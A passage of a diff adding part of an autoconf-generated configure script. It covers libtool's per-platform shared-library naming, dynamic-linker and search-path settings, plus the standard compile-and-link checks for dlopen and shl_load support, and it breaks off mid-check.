+amigaos*) + library_names_spec='$libname.ixlibrary $libname.a' + # Create ${libname}_ixlibrary.a entries in /sys/libs. + finish_eval='for lib in `ls $libdir/*.ixlibrary 2>/dev/null`; do libname=`$echo "X$lib" | $Xsed -e '\''s%^.*/\([^/]*\)\.ixlibrary$%\1%'\''`; test $rm /sys/libs/${libname}_ixlibrary.a; $show "cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a"; cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a || exit 1; done' + ;; + +beos*) + library_names_spec='${libname}${shared_ext}' + dynamic_linker="$host_os ld.so" + shlibpath_var=LIBRARY_PATH + ;; + +bsdi[45]*) + version_type=linux + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + finish_cmds='PATH="\$PATH:/sbin" ldconfig $libdir' + shlibpath_var=LD_LIBRARY_PATH + sys_lib_search_path_spec="/shlib /usr/lib /usr/X11/lib /usr/contrib/lib /lib /usr/local/lib" + sys_lib_dlsearch_path_spec="/shlib /usr/lib /usr/local/lib" + # the default ld.so.conf also contains /usr/contrib/lib and + # /usr/X11R6/lib (/usr/X11 is a link to /usr/X11R6), but let us allow + # libtool to hard-code these into programs + ;; + +cygwin* | mingw* | pw32*) + version_type=windows + shrext_cmds=".dll" + need_version=no + need_lib_prefix=no + + case $GCC,$host_os in + yes,cygwin* | yes,mingw* | yes,pw32*) + library_names_spec='$libname.dll.a' + # DLL is installed to $(libdir)/../bin by postinstall_cmds + postinstall_cmds='base_file=`basename \${file}`~ + dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i;echo \$dlname'\''`~ + dldir=$destdir/`dirname \$dlpath`~ + test -d \$dldir || mkdir -p \$dldir~ + $install_prog $dir/$dlname \$dldir/$dlname' + postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~ + dlpath=$dir/\$dldll~ + $rm \$dlpath' + shlibpath_overrides_runpath=yes + + case $host_os in + cygwin*) + # Cygwin DLLs use 'cyg' prefix rather than 'lib' + soname_spec='`echo ${libname} | sed -e 's/^lib/cyg/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}' + sys_lib_search_path_spec="/usr/lib /lib/w32api /lib /usr/local/lib" + ;; + mingw*) + # MinGW DLLs use traditional 'lib' prefix + soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}' + sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"` + if echo "$sys_lib_search_path_spec" | grep ';[c-zC-Z]:/' >/dev/null; then + # It is most probably a Windows format PATH printed by + # mingw gcc, but we are running on Cygwin. Gcc prints its search + # path with ; separators, and with drive letters. We can handle the + # drive letters (cygwin fileutils understands them), so leave them, + # especially as we might pass files found there to a mingw objdump, + # which wouldn't understand a cygwinified path. Ahh. + sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'` + else + sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"` + fi + ;; + pw32*) + # pw32 DLLs use 'pw' prefix rather than 'lib' + library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/./-/g'`${versuffix}${shared_ext}' + ;; + esac + ;; + + *) + library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib' + ;; + esac + dynamic_linker='Win32 ld.exe' + # FIXME: first we should search . and the directory the executable is in + shlibpath_var=PATH + ;; + +darwin* | rhapsody*) + dynamic_linker="$host_os dyld" + version_type=darwin + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${versuffix}$shared_ext ${libname}${release}${major}$shared_ext ${libname}$shared_ext' + soname_spec='${libname}${release}${major}$shared_ext' + shlibpath_overrides_runpath=yes + shlibpath_var=DYLD_LIBRARY_PATH + shrext_cmds='$(test .$module = .yes && echo .so || echo .dylib)' + # Apple's gcc prints 'gcc -print-search-dirs' doesn't operate the same. + if test "$GCC" = yes; then + sys_lib_search_path_spec=`$CC -print-search-dirs | tr "\n" "$PATH_SEPARATOR" | sed -e 's/libraries:/@libraries:/' | tr "@" "\n" | grep "^libraries:" | sed -e "s/^libraries://" -e "s,=/,/,g" -e "s,$PATH_SEPARATOR, ,g" -e "s,.*,& /lib /usr/lib /usr/local/lib,g"` + else + sys_lib_search_path_spec='/lib /usr/lib /usr/local/lib' + fi + sys_lib_dlsearch_path_spec='/usr/local/lib /lib /usr/lib' + ;; + +dgux*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname$shared_ext' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + ;; + +freebsd1*) + dynamic_linker=no + ;; + +kfreebsd*-gnu) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no + hardcode_into_libs=yes + dynamic_linker='GNU ld.so' + ;; + +freebsd*) + objformat=`test -x /usr/bin/objformat && /usr/bin/objformat || echo aout` + version_type=freebsd-$objformat + case $version_type in + freebsd-elf*) + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}' + need_version=no + need_lib_prefix=no + ;; + freebsd-*) + library_names_spec='${libname}${release}${shared_ext}$versuffix $libname${shared_ext}$versuffix' + need_version=yes + ;; + esac + shlibpath_var=LD_LIBRARY_PATH + case $host_os in + freebsd2*) + shlibpath_overrides_runpath=yes + ;; + freebsd3.01* | freebsdelf3.01*) + shlibpath_overrides_runpath=yes + hardcode_into_libs=yes + ;; + *) # from 3.2 on + shlibpath_overrides_runpath=no + hardcode_into_libs=yes + ;; + esac + ;; + +gnu*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}${major} ${libname}${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + hardcode_into_libs=yes + ;; + +hpux9* | hpux10* | hpux11*) + # Give a soname corresponding to the major version so that dld.sl refuses to + # link against other versions. + version_type=sunos + need_lib_prefix=no + need_version=no + case "$host_cpu" in + ia64*) + shrext_cmds='.so' + hardcode_into_libs=yes + dynamic_linker="$host_os dld.so" + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes # Unless +noenvvar is specified. + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + if test "X$HPUX_IA64_MODE" = X32; then + sys_lib_search_path_spec="/usr/lib/hpux32 /usr/local/lib/hpux32 /usr/local/lib" + else + sys_lib_search_path_spec="/usr/lib/hpux64 /usr/local/lib/hpux64" + fi + sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec + ;; + hppa*64*) + shrext_cmds='.sl' + hardcode_into_libs=yes + dynamic_linker="$host_os dld.sl" + shlibpath_var=LD_LIBRARY_PATH # How should we handle SHLIB_PATH + shlibpath_overrides_runpath=yes # Unless +noenvvar is specified. + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + sys_lib_search_path_spec="/usr/lib/pa20_64 /usr/ccs/lib/pa20_64" + sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec + ;; + *) + shrext_cmds='.sl' + dynamic_linker="$host_os dld.sl" + shlibpath_var=SHLIB_PATH + shlibpath_overrides_runpath=no # +s is required to enable SHLIB_PATH + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + ;; + esac + # HP-UX runs *really* slowly unless shared libraries are mode 555. + postinstall_cmds='chmod 555 $lib' + ;; + +irix5* | irix6* | nonstopux*) + case $host_os in + nonstopux*) version_type=nonstopux ;; + *) + if test "$lt_cv_prog_gnu_ld" = yes; then + version_type=linux + else + version_type=irix + fi ;; + esac + need_lib_prefix=no + need_version=no + soname_spec='${libname}${release}${shared_ext}$major' + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext} $libname${shared_ext}' + case $host_os in + irix5* | nonstopux*) + libsuff= shlibsuff= + ;; + *) + case $LD in # libtool.m4 will add one of these switches to LD + *-32|*"-32 "|*-melf32bsmip|*"-melf32bsmip ") + libsuff= shlibsuff= libmagic=32-bit;; + *-n32|*"-n32 "|*-melf32bmipn32|*"-melf32bmipn32 ") + libsuff=32 shlibsuff=N32 libmagic=N32;; + *-64|*"-64 "|*-melf64bmip|*"-melf64bmip ") + libsuff=64 shlibsuff=64 libmagic=64-bit;; + *) libsuff= shlibsuff= libmagic=never-match;; + esac + ;; + esac + shlibpath_var=LD_LIBRARY${shlibsuff}_PATH + shlibpath_overrides_runpath=no + sys_lib_search_path_spec="/usr/lib${libsuff} /lib${libsuff} /usr/local/lib${libsuff}" + sys_lib_dlsearch_path_spec="/usr/lib${libsuff} /lib${libsuff}" + hardcode_into_libs=yes + ;; + +# No shared lib support for Linux oldld, aout, or coff. +linux*oldld* | linux*aout* | linux*coff*) + dynamic_linker=no + ;; + +# This must be Linux ELF. +linux*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + finish_cmds='PATH="\$PATH:/sbin" ldconfig -n $libdir' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no + # This implies no fast_install, which is unacceptable. + # Some rework will be needed to allow for fast_install + # before this can be enabled. + hardcode_into_libs=yes + + # Append ld.so.conf contents to the search path + if test -f /etc/ld.so.conf; then + lt_ld_extra=`$SED -e 's/:,\t/ /g;s/=^=*$//;s/=^= * / /g' /etc/ld.so.conf | tr '\n' ' '` + sys_lib_dlsearch_path_spec="/lib /usr/lib $lt_ld_extra" + fi + + # We used to test for /lib/ld.so.1 and disable shared libraries on + # powerpc, because MkLinux only supported shared libraries with the + # GNU dynamic linker. Since this was broken with cross compilers, + # most powerpc-linux boxes support dynamic linking these days and + # people can always --disable-shared, the test was removed, and we + # assume the GNU/Linux dynamic linker is in use. + dynamic_linker='GNU/Linux ld.so' + ;; + +knetbsd*-gnu) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no + hardcode_into_libs=yes + dynamic_linker='GNU ld.so' + ;; + +netbsd*) + version_type=sunos + need_lib_prefix=no + need_version=no + if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix' + finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir' + dynamic_linker='NetBSD (a.out) ld.so' + else + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + dynamic_linker='NetBSD ld.elf_so' + fi + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + hardcode_into_libs=yes + ;; + +newsos6) + version_type=linux + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + ;; + +nto-qnx*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + ;; + +openbsd*) + version_type=sunos + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix' + finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir' + shlibpath_var=LD_LIBRARY_PATH + if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then + case $host_os in + openbsd2.[89] | openbsd2.[89].*) + shlibpath_overrides_runpath=no + ;; + *) + shlibpath_overrides_runpath=yes + ;; + esac + else + shlibpath_overrides_runpath=yes + fi + ;; + +os2*) + libname_spec='$name' + shrext_cmds=".dll" + need_lib_prefix=no + library_names_spec='$libname${shared_ext} $libname.a' + dynamic_linker='OS/2 ld.exe' + shlibpath_var=LIBPATH + ;; + +osf3* | osf4* | osf5*) + version_type=osf + need_lib_prefix=no + need_version=no + soname_spec='${libname}${release}${shared_ext}$major' + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + shlibpath_var=LD_LIBRARY_PATH + sys_lib_search_path_spec="/usr/shlib /usr/ccs/lib /usr/lib/cmplrs/cc /usr/lib /usr/local/lib /var/shlib" + sys_lib_dlsearch_path_spec="$sys_lib_search_path_spec" + ;; + +sco3.2v5*) + version_type=osf + soname_spec='${libname}${release}${shared_ext}$major' + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + shlibpath_var=LD_LIBRARY_PATH + ;; + +solaris*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + hardcode_into_libs=yes + # ldd complains unless libraries are executable + postinstall_cmds='chmod +x $lib' + ;; + +sunos4*) + version_type=sunos + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix' + finish_cmds='PATH="\$PATH:/usr/etc" ldconfig $libdir' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + if test "$with_gnu_ld" = yes; then + need_lib_prefix=no + fi + need_version=yes + ;; + +sysv4 | sysv4.2uw2* | sysv4.3* | sysv5*) + version_type=linux + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + case $host_vendor in + sni) + shlibpath_overrides_runpath=no + need_lib_prefix=no + export_dynamic_flag_spec='${wl}-Blargedynsym' + runpath_var=LD_RUN_PATH + ;; + siemens) + need_lib_prefix=no + ;; + motorola) + need_lib_prefix=no + need_version=no + shlibpath_overrides_runpath=no + sys_lib_search_path_spec='/lib /usr/lib /usr/ccs/lib' + ;; + esac + ;; + +sysv4*MP*) + if test -d /usr/nec ;then + version_type=linux + library_names_spec='$libname${shared_ext}.$versuffix $libname${shared_ext}.$major $libname${shared_ext}' + soname_spec='$libname${shared_ext}.$major' + shlibpath_var=LD_LIBRARY_PATH + fi + ;; + +uts4*) + version_type=linux + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + ;; + +*) + dynamic_linker=no + ;; +esac +echo "$as_me:$LINENO: result: $dynamic_linker" >&5 +echo "${ECHO_T}$dynamic_linker" >&6 +test "$dynamic_linker" = no && can_build_shared=no + +echo "$as_me:$LINENO: checking how to hardcode library paths into programs" >&5 +echo $ECHO_N "checking how to hardcode library paths into programs... $ECHO_C" >&6 +hardcode_action_CXX= +if test -n "$hardcode_libdir_flag_spec_CXX" || \ + test -n "$runpath_var_CXX" || \ + test "X$hardcode_automatic_CXX" = "Xyes" ; then + + # We can hardcode non-existant directories. + if test "$hardcode_direct_CXX" != no && + # If the only mechanism to avoid hardcoding is shlibpath_var, we + # have to relink, otherwise we might link with an installed library + # when we should be linking with a yet-to-be-installed one + ## test "$_LT_AC_TAGVAR(hardcode_shlibpath_var, CXX)" != no && + test "$hardcode_minus_L_CXX" != no; then + # Linking always hardcodes the temporary library directory. + hardcode_action_CXX=relink + else + # We can link without hardcoding, and we can hardcode nonexisting dirs. + hardcode_action_CXX=immediate + fi +else + # We cannot hardcode anything, or else we can only hardcode existing + # directories. + hardcode_action_CXX=unsupported +fi +echo "$as_me:$LINENO: result: $hardcode_action_CXX" >&5 +echo "${ECHO_T}$hardcode_action_CXX" >&6 + +if test "$hardcode_action_CXX" = relink; then + # Fast installation is not supported + enable_fast_install=no +elif test "$shlibpath_overrides_runpath" = yes || + test "$enable_shared" = no; then + # Fast installation is not necessary + enable_fast_install=needless +fi + +striplib= +old_striplib= +echo "$as_me:$LINENO: checking whether stripping libraries is possible" >&5 +echo $ECHO_N "checking whether stripping libraries is possible... $ECHO_C" >&6 +if test -n "$STRIP" && $STRIP -V 2>&1 | grep "GNU strip" >/dev/null; then + test -z "$old_striplib" && old_striplib="$STRIP --strip-debug" + test -z "$striplib" && striplib="$STRIP --strip-unneeded" + echo "$as_me:$LINENO: result: yes" >&5 +echo "${ECHO_T}yes" >&6 +else +# FIXME - insert some real tests, host_os isn't really good enough + case $host_os in + darwin*) + if test -n "$STRIP" ; then + striplib="$STRIP -x" + echo "$as_me:$LINENO: result: yes" >&5 +echo "${ECHO_T}yes" >&6 + else + echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6 +fi + ;; + *) + echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6 + ;; + esac +fi + +if test "x$enable_dlopen" != xyes; then + enable_dlopen=unknown + enable_dlopen_self=unknown + enable_dlopen_self_static=unknown +else + lt_cv_dlopen=no + lt_cv_dlopen_libs= + + case $host_os in + beos*) + lt_cv_dlopen="load_add_on" + lt_cv_dlopen_libs= + lt_cv_dlopen_self=yes + ;; + + mingw* | pw32*) + lt_cv_dlopen="LoadLibrary" + lt_cv_dlopen_libs= + ;; + + cygwin*) + lt_cv_dlopen="dlopen" + lt_cv_dlopen_libs= + ;; + + darwin*) + # if libdl is installed we need to link against it + echo "$as_me:$LINENO: checking for dlopen in -ldl" >&5 +echo $ECHO_N "checking for dlopen in -ldl... $ECHO_C" >&6 +if test "${ac_cv_lib_dl_dlopen+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-ldl $LIBS" +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any gcc2 internal prototype to avoid an error. */ +#ifdef __cplusplus +extern "C" +#endif +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char dlopen (); +int +main () +{ +dlopen (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_cxx_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_lib_dl_dlopen=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +ac_cv_lib_dl_dlopen=no +fi +rm -f conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +echo "$as_me:$LINENO: result: $ac_cv_lib_dl_dlopen" >&5 +echo "${ECHO_T}$ac_cv_lib_dl_dlopen" >&6 +if test $ac_cv_lib_dl_dlopen = yes; then + lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-ldl" +else + + lt_cv_dlopen="dyld" + lt_cv_dlopen_libs= + lt_cv_dlopen_self=yes + +fi + + ;; + + *) + echo "$as_me:$LINENO: checking for shl_load" >&5 +echo $ECHO_N "checking for shl_load... $ECHO_C" >&6 +if test "${ac_cv_func_shl_load+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +/* Define shl_load to an innocuous variant, in case <limits.h> declares shl_load. + For example, HP-UX 11i <limits.h> declares gettimeofday. */ +#define shl_load innocuous_shl_load + +/* System header to define __stub macros and hopefully few prototypes, + which can conflict with char shl_load (); below. + Prefer <limits.h> to <assert.h> if __STDC__ is defined, since + <limits.h> exists even on freestanding compilers. */ + +#ifdef __STDC__ +# include <limits.h> +#else +# include <assert.h> +#endif + +#undef shl_load + +/* Override any gcc2 internal prototype to avoid an error. */ +#ifdef __cplusplus +extern "C" +{ +#endif +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char shl_load (); +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_shl_load) || defined (__stub___shl_load) +choke me +#else +char (*f) () = shl_load; +#endif +#ifdef __cplusplus +} +#endif + +int +main () +{ +return f != shl_load; + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_cxx_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_func_shl_load=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +ac_cv_func_shl_load=no +fi +rm -f conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +fi +echo "$as_me:$LINENO: result: $ac_cv_func_shl_load" >&5 +echo "${ECHO_T}$ac_cv_func_shl_load" >&6 +if test $ac_cv_func_shl_load = yes; then + lt_cv_dlopen="shl_load" +else + echo "$as_me:$LINENO: checking for shl_load in -ldld" >&5 +echo $ECHO_N "checking for shl_load in -ldld... $ECHO_C" >&6 +if test "${ac_cv_lib_dld_shl_load+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-ldld $LIBS" +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any gcc2 internal prototype to avoid an error. */ +#ifdef __cplusplus +extern "C" +#endif +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char shl_load (); +int +main () +{ +shl_load (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_cxx_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_lib_dld_shl_load=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +ac_cv_lib_dld_shl_load=no +fi +rm -f conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +echo "$as_me:$LINENO: result: $ac_cv_lib_dld_shl_load" >&5 +echo "${ECHO_T}$ac_cv_lib_dld_shl_load" >&6 +if test $ac_cv_lib_dld_shl_load = yes; then + lt_cv_dlopen="shl_load" lt_cv_dlopen_libs="-dld" +else + echo "$as_me:$LINENO: checking for dlopen" >&5 +echo $ECHO_N "checking for dlopen... $ECHO_C" >&6 +if test "${ac_cv_func_dlopen+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +/* Define dlopen to an innocuous variant, in case <limits.h> declares dlopen. + For example, HP-UX 11i <limits.h> declares gettimeofday. */ +#define dlopen innocuous_dlopen + +/* System header to define __stub macros and hopefully few prototypes, + which can conflict with char dlopen (); below. + Prefer <limits.h> to <assert.h> if __STDC__ is defined, since + <limits.h> exists even on freestanding compilers. */ + +#ifdef __STDC__ +# include <limits.h> +#else +# include <assert.h> +#endif + +#undef dlopen + +/* Override any gcc2 internal prototype to avoid an error. */ +#ifdef __cplusplus +extern "C" +{ +#endif +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char dlopen (); +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_dlopen) || defined (__stub___dlopen) +choke me +#else +char (*f) () = dlopen; +#endif +#ifdef __cplusplus +} +#endif + +int +main () +{ +return f != dlopen; + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_cxx_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_func_dlopen=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +ac_cv_func_dlopen=no +fi +rm -f conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +fi +echo "$as_me:$LINENO: result: $ac_cv_func_dlopen" >&5 +echo "${ECHO_T}$ac_cv_func_dlopen" >&6 +if test $ac_cv_func_dlopen = yes; then + lt_cv_dlopen="dlopen" +else + echo "$as_me:$LINENO: checking for dlopen in -ldl" >&5 +echo $ECHO_N "checking for dlopen in -ldl... $ECHO_C" >&6 +if test "${ac_cv_lib_dl_dlopen+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-ldl $LIBS" +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any gcc2 internal prototype to avoid an error. */ +#ifdef __cplusplus +extern "C" +#endif +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char dlopen (); +int +main () +{ +dlopen (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z 